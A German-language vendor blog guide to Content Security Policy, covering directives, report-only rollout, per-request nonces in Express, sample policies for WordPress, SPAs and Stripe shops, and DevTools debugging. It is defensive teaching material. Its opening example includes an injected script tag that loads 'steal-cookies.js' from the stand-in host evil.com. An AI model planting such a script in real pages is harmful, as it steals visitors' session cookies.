Sécurité

Content Security Policy (CSP): Praxisleitfaden

CSP implementieren: Direktiven, Praxisbeispiele, häufige Fehler und Debug mit DevTools. Praxisleitfaden für KMU.

25 mars 20263 min de lectureWarDek Team

Content Security Policy (CSP): Der Praxisleitfaden

Die Content Security Policy ist der effektivste Header-basierte Schutz gegen Cross-Site-Scripting (XSS). Sie definiert, welche Ressourcen der Browser laden darf — und blockiert alles andere. Dieser Leitfaden zeigt, wie Sie CSP schrittweise einführen, ohne Ihre Website zu beschädigen.

Warum CSP?

Ohne CSP kann ein Angreifer, der eine XSS-Lücke findet, beliebige Scripts in Ihre Seite einschleusen:

<!-- Ohne CSP: Angreifer kann beliebiges Script laden -->
<script src="https://evil.com/steal-cookies.js"></script>

Mit CSP wird dieses Script blockiert, selbst wenn die XSS-Lücke existiert:

Content-Security-Policy: script-src 'self'
→ Browser blockiert Scripts von evil.com

Die wichtigsten Direktiven

Ressourcen-Direktiven

| Direktive | Kontrolliert | Beispiel | |---|---|---| | default-src | Fallback für alle Ressourcen | default-src 'self' | | script-src | JavaScript | script-src 'self' https://cdn.example.com | | style-src | CSS | style-src 'self' 'unsafe-inline' | | img-src | Bilder | img-src 'self' data: https: | | font-src | Schriften | font-src 'self' https://fonts.gstatic.com | | connect-src | Fetch, XHR, WebSocket | connect-src 'self' https://api.example.com | | media-src | Audio und Video | media-src 'self' | | frame-src | iframes | frame-src https://www.youtube-nocookie.com | | object-src | Flash, Java, ActiveX | object-src 'none' | | base-uri | <base> Element | base-uri 'self' |

Navigations-Direktiven

| Direktive | Kontrolliert | |---|---| | frame-ancestors | Wer darf Ihre Seite einbetten (ersetzt X-Frame-Options) | | form-action | Wohin Formulare gesendet werden dürfen | | navigate-to | Wohin die Seite navigieren darf |

Quellwerte

| Wert | Bedeutung | |---|---| | 'self' | Eigene Domain | | 'none' | Nichts erlaubt | | 'unsafe-inline' | Inline-Scripts/Styles (unsicher, vermeiden) | | 'unsafe-eval' | Dynamische Code-Ausführung (unsicher, vermeiden) | | https: | Jede HTTPS-Quelle | | data: | Data-URIs (für inline Bilder) | | 'nonce-abc123' | Spezifisches Nonce-Token | | 'strict-dynamic' | Vertrauenskette: von vertrautem Script geladene Scripts erlaubt |

Schrittweise Einführung

Phase 1: Report-Only-Modus

Starten Sie im Beobachtungsmodus — CSP meldet Verstöße, blockiert aber nicht:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

Analysieren Sie die Berichte für 1–2 Wochen:

Phase 2: Basis-Policy

Erstellen Sie eine Policy basierend auf Ihren Erkenntnissen:

Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self' https://www.google-analytics.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  object-src 'none'

Phase 3: Verschärfung

Schrittweise unsichere Werte ersetzen:

  1. unsafe-inline für Scripts eliminieren — Nonces oder Hashes verwenden
  2. unsafe-inline für Styles minimieren — Externe Stylesheets bevorzugen
  3. Wildcard-Domains einschränken — Spezifische Hosts statt https:

Nonces: Inline-Scripts sicher machen

Statt 'unsafe-inline' können Sie Nonces verwenden — einmalige Token, die pro Request generiert werden:

Server-seitig (Node.js/Express Beispiel)

import crypto from 'crypto'

app.use((req, res, next) => {
  const nonce = crypto.randomBytes(16).toString('base64')
  res.locals.nonce = nonce
  res.setHeader(
    'Content-Security-Policy',
    `script-src 'self' 'nonce-${nonce}'`
  )
  next()
})

Im HTML

<script nonce="abc123base64...">
  // Dieses Script wird erlaubt
  console.log('Legitimate script')
</script>

Wichtig: Das Nonce muss bei jedem Request neu generiert werden. Ein statisches Nonce bietet keinen Schutz.

CSP für gängige Szenarien

WordPress-Website

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'unsafe-inline' 'unsafe-eval';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self' data:;
  connect-src 'self';
  frame-src 'self' https://www.youtube-nocookie.com;
  frame-ancestors 'none'

Hinweis: WordPress und viele Plugins benötigen leider 'unsafe-inline' und teils 'unsafe-eval'. Dies ist ein bekannter Kompromiss.

Single-Page-Application (React/Next.js)

Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: blob: https:;
  font-src 'self';
  connect-src 'self' https://api.ihredomain.de;
  frame-ancestors 'none';
  base-uri 'self'

E-Commerce mit Zahlungsanbietern

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://js.stripe.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  frame-src https://js.stripe.com https://hooks.stripe.com;
  connect-src 'self' https://api.stripe.com;
  frame-ancestors 'none'

Debugging mit Browser DevTools

Chrome/Edge

  1. Öffnen Sie die DevTools (F12)
  2. Tab Konsole — CSP-Verstöße erscheinen als Fehler in Rot
  3. Tab Netzwerk — Blockierte Requests zeigen (blocked:csp)

Typische Fehlermeldungen

Refused to load the script 'https://cdn.example.com/script.js'
because it violates the following Content Security Policy directive:
"script-src 'self'"

Lösung: https://cdn.example.com zu script-src hinzufügen.

Refused to execute inline script because it violates the following
Content Security Policy directive: "script-src 'self'"

Lösung: Nonce verwenden oder Script in externe Datei auslagern.

Häufige Fehler

| Fehler | Problem | Lösung | |---|---|---| | Kein default-src | Nicht abgedeckte Ressourcentypen sind ungeschützt | Immer default-src 'self' als Basis | | script-src 'self' * | Wildcard erlaubt Scripts von überall | Spezifische Domains listen | | object-src vergessen | Flash/Plugin-basierte Angriffe möglich | object-src 'none' setzen | | CSP nur auf Hauptseite | API und Subdomains ungeschützt | Server-weit konfigurieren | | Nonce im Cache | Statisches Nonce bietet keinen Schutz | Nonce pro Request generieren |

CSP-Level und Browser-Unterstützung

| Feature | Chrome | Firefox | Safari | Edge | |---|---|---|---|---| | CSP Level 2 | Seit 40 | Seit 31 | Seit 10 | Seit 15 | | CSP Level 3 (Nonces) | Seit 59 | Seit 58 | Seit 15.4 | Seit 79 | | strict-dynamic | Seit 52 | Seit 52 | Seit 15.4 | Seit 79 |

Fazit

CSP ist der wirksamste Header-basierte Schutz gegen XSS — aber er erfordert sorgfältige Konfiguration. Starten Sie im Report-Only-Modus, analysieren Sie Ihre Abhängigkeiten und verschärfen Sie die Policy schrittweise. Der Aufwand lohnt sich: Eine gute CSP macht XSS-Angriffe wirkungslos.


Scannen Sie Ihre Website kostenlos mit WarDek — OWASP, NIS2, DSGVO, AI Act Compliance in einem Scan.

#CSP#XSS#Sicherheitsheader#Web-Sicherheit

Scannez votre site gratuitement

WarDek détecte les vulnérabilités mentionnées dans cet article en quelques secondes.

Retour à Sécurité